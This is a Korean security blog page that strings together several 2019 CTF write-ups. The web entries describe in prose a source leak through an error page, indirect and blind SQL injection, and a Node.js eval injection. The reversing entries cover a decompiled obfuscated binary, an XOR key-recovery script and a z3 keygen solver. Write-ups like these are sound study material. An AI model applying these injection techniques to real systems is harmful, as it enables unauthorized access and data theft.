문제에 들어가보면 아무것도 없다. 아무 페이지나 요청해보면 에러가 터지는데 에러페이지에서 소스코드를 볼수있게 해주는 기능이 있다. 약간 lfi 같은 느낌인데 경로 조작이 안되서 해당 프레임워크에서 정해놓은 경로의 파일들만 읽기가 가능하다. 여기서부턴 그냥 내가 읽을 수 있는 파일들을 다 읽어보고 해당 파일내에 존재하는 경로 파일 또 다읽는식의 개노가다 삽질을 하면 플래그 파일이 나온다. 리얼월드에서 최대한 많은 정보 수집하려고 할때는 물론 이런식으로 모든 소스코드 leak를 하긴 하는데 씨텝에서 이런식으로 기법에 대한 고민이 아닌 단순 게싱 노가다 느낌으로 플래그 유도할줄은 상상도 못했다. 문제 풀고나서도 상당히 기분이 안좋았던 문제라 기억에 남는다.


SQL Injected


소스코드를 제공해주는데 Indirect SQLi가 터진다. 계정등록하면 바로 로그인되는데 이 때 세팅되는 세션의 username값에는 필터가 적용된 값이 저장되서 재로그인해서 indirect SQLI 값 세팅해주면된다. 그다음부터는 별도로 필터가 없어서 role값이 1인 계정의 비번구해서 로그인해주면 플래그 나온다.


Beginner's Luck


소스코드를 제공해주는데 대놓고 Blind SQLI가 터진다. 근데 세션하나당 10번밖에 요청을 못해서 인젝션 할 때 세션값을 10번마다 새로 세팅받아서 해주면된다. 내 IP에 해당하는 토큰값을 디비에서 구해가지고 입력해주면 플래그 나온다.


Trading values


요건 대회 때 마지막까지 잡고있었는데 시간안에 풀지를 못하고 계속 삽질하면서 밤새다 거의 출근직전에 풀었다. 요거 풀었으면 팀이 10등권이었는데 조금 아쉬웠다.

문제를 보면 원본 값이 아래와 같은 형태였는데


/default?formula=KHYxLm1wayt2MS5kcmYqKHYxLm1way8wLjUpLXYxLmRyZikvKHYxLmF2ZyowLjEpKyh2Mi5hdmcqKHYyLm1kcyt2Mi5kbXEpKS0odjMucGRpK3YzLnBkaSszLzIqKHYzLnJhciktdjMuZ2RwKSswLjI1Kih2NC5tdW0qdjQuZGFkKSp2NC5hdmc%3D&values%5Bv1%5D=STC&values%5Bv2%5D=PLA&values%5Bv3%5D=SDF&values%5Bv4%5D=OCK


formula 값을 디코딩해보면 뒤에 values 배열의 키 값으로 정의된 변수들이 사용되고 있었다.

formula 값을 v1로 지정한담에 base64 디코딩해서 보내주면 다음과 같이 객체 정보가 나왔다.


object(App\Entity\STC)#233 (4) {

  ["id":"App\Entity\STC":private]=>

  NULL

  ["avg"]=>

  int(71)

  ["mpk"]=>

  int(11)

  ["drf"]=>

  int(13)

}


여기서 값이 딱 Node.js Eval했을때 값이라 Node Code injection하면 될 것 같았는데 이상하게 관련 함수 및 객체가 죄다 안먹혔다. 그나마 현 상황에서 뿌려지는게 객체 속성들 보는거여서 Node.js의 내장 객체들을 죄다 찾다서 시도해봤다. root,global이런거 다안됬는데 this를 써보니까 응답 값에 플래그가 나왔다. 뭔가 풀긴 했는데 다른게 안되는 이유들이 이해가 안가서 약간 찝찝했다.




'CTF > Writeup' 카테고리의 다른 글

b00t2root CTF 2019 Web Writeup  (0) 2019.03.31
Securinets CTF Quals 2019 AutomateMe  (0) 2019.03.26
TAMUctf 19 Obfuscaxor  (0) 2019.03.22
Pico CTF 2018 keygen-me-2  (0) 2019.03.22
Tokyo-Westerns-3rd-2017 CTF Rev Rev Rev  (0) 2019.03.15
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

TAMUctf 19 Obfuscaxor

CTF/Writeup 2019. 3. 22. 15:55

바이너리를 보면 간단한 키젠미 문제인데, 문제 이름에서도 느껴지듯이 바이너리가 난독화 되어있다. 


플래그가 출력되려면 verify_key 함수의 리턴 값이 1이어야 되는데 헥스레이로 코드를 보면 무조건 0이 리턴되길래 인풋이 들어가는 enc함수에서 동적으로 코드영역을 패치해 리턴값을 세팅하는 부분이 있는 건가 하고 해당 함수를 보니 코드가 요상하게 난독화 되어 있었다.


__int64 __fastcall verify_key(char *a1)

{

  if ( strlen(a1) > 9 && strlen(a1) <= 0x40 )

    enc(a1);

  return 0LL;

}



void __fastcall __noreturn enc(const char *a1)

{

  __int64 v1; // rdx

  __int64 v2; // rcx

  __int64 v3; // r8

  obf::for_wrapper *v4; // rax

  __int64 v5; // rbx

  __int64 v6; // rbx

  char *s; // [rsp+18h] [rbp-D8h]

  int v8; // [rsp+2Ch] [rbp-C4h]

  int v9; // [rsp+30h] [rbp-C0h]

  char v10; // [rsp+34h] [rbp-BCh]

  void *v11; // [rsp+38h] [rbp-B8h]

  _BYTE *v12; // [rsp+40h] [rbp-B0h]

  __int64 v13; // [rsp+50h] [rbp-A0h]

  __int64 v14; // [rsp+58h] [rbp-98h]

  __int64 v15; // [rsp+60h] [rbp-90h]

  __int64 v16; // [rsp+68h] [rbp-88h]

  char v17; // [rsp+70h] [rbp-80h]

  void **v18; // [rsp+90h] [rbp-60h]

  char *v19; // [rsp+98h] [rbp-58h]

  char **v20; // [rsp+A0h] [rbp-50h]

  _BYTE **v21; // [rsp+A8h] [rbp-48h]

  int *v22; // [rsp+B0h] [rbp-40h]

  unsigned __int64 v23; // [rsp+B8h] [rbp-38h]


  s = (char *)a1;

  v23 = __readfsqword(0x28u);

  v8 = 3;

  v13 = 0LL;

  v14 = 0LL;

  v11 = malloc(0x40uLL);

  v9 = strlen(a1);

  v12 = malloc(5uLL);

  obf::Num<int,3858>::Num(&v18);

  *v12 = (unsigned __int64)obf::Num<int,3858>::get(&v18) ^ 0xCC;

  obf::Num<int,2568>::Num(&v18);

  v12[1] = (unsigned __int64)obf::Num<int,2568>::get(&v18) ^ 0xA5;

  obf::Num<int,1868>::Num(&v18);

  v12[2] = (unsigned __int64)obf::Num<int,1868>::get(&v18) ^ 0xF2;

  obf::Num<int,749>::Num(&v18);

  v12[3] = (unsigned __int64)obf::Num<int,749>::get(&v18) ^ 2;

  obf::Num<int,1056>::Num(&v18);

  v12[4] = (unsigned __int64)obf::Num<int,1056>::get(&v18) ^ 0x20;

  v15 = 0LL;

  v16 = 0LL;

  obf::for_wrapper::for_wrapper<enc(char const*)::{lambda(void)#1},enc(char const*)::{lambda(void)#2},enc(char const*)::{lambda(void)#3}>(

    (__int64)&v17,

    (__int64)&v10);

  v18 = &v11;

  v19 = &v10;

  v20 = &s;

  v21 = &v12;

  v22 = &v8;

  v4 = (obf::for_wrapper *)obf::for_wrapper::set_body<enc(char const*)::{lambda(void)#4}>(

                             (__int64)&v17,

                             (__int64)&v10,

                             v1,

                             v2,

                             v3);

  obf::for_wrapper::run(v4);

  obf::for_wrapper::~for_wrapper((obf::for_wrapper *)&v17);

  std::shared_ptr<obf::base_rvholder>::~shared_ptr(&v15);

  v5 = operator new(0x18uLL);

  obf::rvholder<char *>::rvholder(v5, v11, v11);

  std::__shared_ptr<obf::base_rvholder,(__gnu_cxx::_Lock_policy)2>::reset<obf::rvholder<char *>>(&v13, v5);

  v6 = __cxa_allocate_exception(16LL);

  std::shared_ptr<obf::base_rvholder>::shared_ptr(v6, &v13);

  __cxa_throw(v6, &`typeinfo for'std::shared_ptr<obf::base_rvholder>, std::shared_ptr<obf::base_rvholder>::~shared_ptr);

}


뭔가 이상하다 싶어 verify_key 함수의 어셈코드를 보니 아래와 같이 코드 영역 중간부분을 ida가 데이터로 해석하고 있었다.



해당 부분을 convert해서 보면 아래와 같이 strcmp를 통해 어떤 값들을 비교하는걸 볼 수 있었다.



두 값을 디버깅을 통해 확인해보면 인풋을 enc함수 내에서 암호화 해 아래의 값과 비교하는걸 볼 수 있었다.


[0xAE,0x9E,0xFF,0x9C,0xAB,0xC7,0xD3,0x81,0xE7,0xEE,0xFB,0x8A,0x9D,0xEF,0x8D,0xAE]


input이 위의 값이 되도록 하면되는데 중요한건 enc 함수가 난독화되어 있어서 분석이 매우 어려웠다. 그래서 해당 함수를 분석하지 않고 일단 input이 해당 함수를 거친 후 어떻게 return되는지를 통해 해당 함수 동작을 추측해봤다.


input으로 1111111111111111 값을 주고 암호화된 값을 확인해 보면 4바이트씩 값이 반복되는걸 볼 수 있었다. 단순하게 4바이트 키 값으로 xor한다고 생각해 key를 추출해서 위의 비교 대상인 값을 xor해보면 아래와 같은 값이 나온다.


getFlag.py


table_key = [0xAE,0x9E,0xFF,0x9C,0xAB,0xC7,0xD3,0x81,0xE7,0xEE,0xFB,0x8A,0x9D,0xEF,0x8D,0xAE]

key = [222,173,190,239]

flag = ""

for i in xrange(len(table_key)):

    flag += chr(table_key[i]^key[i%4])

print flag


result = p3Asujmn9CEeCB3A


해당 값을 바이너리 실행 후 입력해보면 플래그가 나온다.












'CTF > Writeup' 카테고리의 다른 글

Securinets CTF Quals 2019 AutomateMe  (0) 2019.03.26
Securinets CTF Quals 2019 Web Writeup  (0) 2019.03.25
Pico CTF 2018 keygen-me-2  (0) 2019.03.22
Tokyo-Westerns-3rd-2017 CTF Rev Rev Rev  (0) 2019.03.15
0CTF 2016 Quals : boomshakalaka  (0) 2019.03.14
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

전형적인 키젠미 문제고 z3를 사용해 주면 된다.


z3에 사용될 조건들을 보면 조금 특이한게 인풋들이 custom ord,mod 함수를 통해 재 정의된다. 


해당 함수들이 하는 역할은 0~9,A~Z의 ascii 값을 0~35의 int형 값으로 변환해 주는 역할을 한다.


위 형식에 맞춰 z3로 구해진 값을 다시 변환해주면 유효한 input이 나오고 해당 input을 통해 원격 서버의 바이너리를 실행해보면 플래그를 구할 수 있다.


solve.py


from z3 import *

def custom_ord(data):
if And(data>47,data<58):
return data-48
elif And(data>64,data<91):
return data-55
else:
print "Not Found Custom Ord!!!! Exit!!!"
exit(1)

def custom_mod(data1,data2):
return data1%data2


a1 = []
for i in xrange(16):
a1.append(z3.Int('a1['+str(i)+']'))
s = Solver()

for i in xrange(16):
s.add(And(a1[i]>-1,a1[i]<36))
#s.add(custom_mod(custom_ord(a1[0])+custom_ord(a1[1]),36)==14)
s.add(custom_mod(a1[0]+a1[1],36)==14)
s.add(custom_mod(a1[2] + a1[3], 36) == 24)
s.add(custom_mod(a1[2] - a1[0], 36) == 6)
s.add(custom_mod(a1[1] + a1[3] + a1[5], 36) == 4)
s.add(custom_mod(a1[2] + a1[4] + a1[6], 36) == 13)
s.add(custom_mod(a1[3] + a1[4] + a1[5], 36) == 22)
s.add(custom_mod(a1[6] + a1[8] + a1[10], 36) == 31)
s.add(custom_mod(a1[1] + a1[4] + a1[7], 36) == 7)
s.add(custom_mod(a1[9] + a1[12] + a1[15], 36) == 20)
s.add(custom_mod(a1[13] + a1[14] + a1[15], 36) == 12)
s.add(custom_mod(a1[8] + a1[9] + a1[10], 36) == 27)
s.add(custom_mod(a1[7] + a1[12] + a1[13], 36) == 23)


flag = ""
if s.check() == z3.sat:
try:
m = s.model()
print m
for i in range(0, 16):
if int(str(m[a1[i]]))<10:
flag += chr(int(str(m[a1[i]]))+48)
else:
flag += chr(int(str(m[a1[i]])) + 55)
print flag
except:
print "Not Found"


'CTF > Writeup' 카테고리의 다른 글

Securinets CTF Quals 2019 Web Writeup  (0) 2019.03.25
TAMUctf 19 Obfuscaxor  (0) 2019.03.22
Tokyo-Westerns-3rd-2017 CTF Rev Rev Rev  (0) 2019.03.15
0CTF 2016 Quals : boomshakalaka  (0) 2019.03.14
SSCTF 2016 : Re1  (0) 2019.03.13
블로그 이미지

JeonYoungSin

메모 기록용 공간

,